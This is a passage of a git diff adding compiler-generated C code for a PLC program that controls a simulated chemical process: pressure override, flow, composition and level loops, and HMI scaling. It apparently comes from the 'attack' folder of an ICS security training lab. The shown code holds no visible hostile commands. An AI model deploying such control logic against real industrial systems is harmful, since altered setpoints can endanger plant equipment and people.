+ __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + 